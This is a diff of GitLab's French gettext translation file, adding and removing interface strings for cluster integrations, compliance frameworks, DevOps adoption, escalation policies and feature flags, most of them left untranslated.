msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "Copier l’URL de l’API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Copier le certificat de l’AC"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Copier le nom de la grappe de serveurs Kubernetes"
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr "Le saviezâ€vous ?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "Activez ou désactivez la connexion de GitLab à votre grappe de serveur
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Activez ce paramètre si vous utilisez le contrôle d’accès basé sur les rôles (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr "Récupération des projets"
msgid "ClusterIntegration|Fetching zones"
msgstr "Récupération des zones"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Intégration GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "Exécuteur GitLab"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Groupe de la grappe de serveurs"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Si vous configurez plusieurs grappes de serveurs et que vous utilisez Auto DevOps, %{help_link_start}veillez d’abord lire ceci%{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress vous permet de router les requêtes vers des services en fonction de l’hôte ou du chemin de la requête, en centralisant un certain nombre de services vers un seul point d’entrée."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Nom de l’hôte Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub est une plaque tournante multiâ€utilisateur qui génère, gère et « proxifie » plusieurs instances du serveur de blocâ€notes monoâ€utilisateur Jupyter notebook. JupyterHub peut être utilisé pour servir des blocâ€notes aux élèves d’une classe, un groupe d’informaticiens d’une entreprise ou un groupe de scientifiques chercheurs."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Nom de domaine Knative :"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr "En savoir plus sur les grappes de serveurs Kubernetes de groupe"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Veuillez vous assurer que votre compte Google répond aux exigences suivantes :"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr "Grappe de serveurs du projet"
@@ -7516,15 +7411,6 @@ msgstr "Espace de noms du projet (facultatif, unique)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr "Supprimer la configuration de cette grappe de serveurs Kubernetes de ce
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Vous pouvez remplacer ceci par un nom d’hôte personnalisé. Auquel cas, faites pointer ce nom d’hôte vers l’adresse IP d’Ingress ciâ€dessus."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "La demande de lancement de l’installation a échoué"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr "Enregistrer les modifications"
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "Sélectionnez le type de machine"
@@ -7675,9 +7534,6 @@ msgstr "Sélectionnez la zone"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Sélectionnez la zone afin de choisir le type de machine"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr "Un problème est survenu de notre côté."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Une erreur s’est produite lors de l’installation de %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Votre compte doit disposer de %{link_to_kubernetes_engine}"
@@ -7873,12 +7666,6 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Accèder à Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "répond aux exigences"
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr "Propriétaires du code"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,8 +8745,8 @@ msgstr "Contributeurs"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
-msgstr "Contrôle l’affichage des offres tierces."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr ""
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Créer une branche"
@@ -9456,9 +9222,6 @@ msgstr "Créer votre première page"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Fuseau horaire des tâches planifiées cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "NÅ“ud actuel"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Personnaliser les couleurs"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Sélecteur de date"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr "Supprimer le commentaire"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "Limites du contenu du diff"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Limites du diff"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Ne plus afficher"
msgid "Done"
msgstr "Effectué"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Télécharger"
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Activer la collecte de données Pseudonymizer"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,14 +12055,11 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Activer ou désactiver la collecte de données Pseudonymizer."
-msgid "Enable or disable version check and usage ping."
-msgstr "Activer ou désactiver le contrôle de version et l’envoi des données d’utilisation."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr ""
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Activer la collecte des données d’utilisation"
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr "En savoir plus sur l’arrêt des environnements"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Étiquette de classification"
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Indicateurs de fonctionnalités"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr "URL de l’API"
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr "Inactif"
msgid "FeatureFlags|Inactive flag for %{scope}"
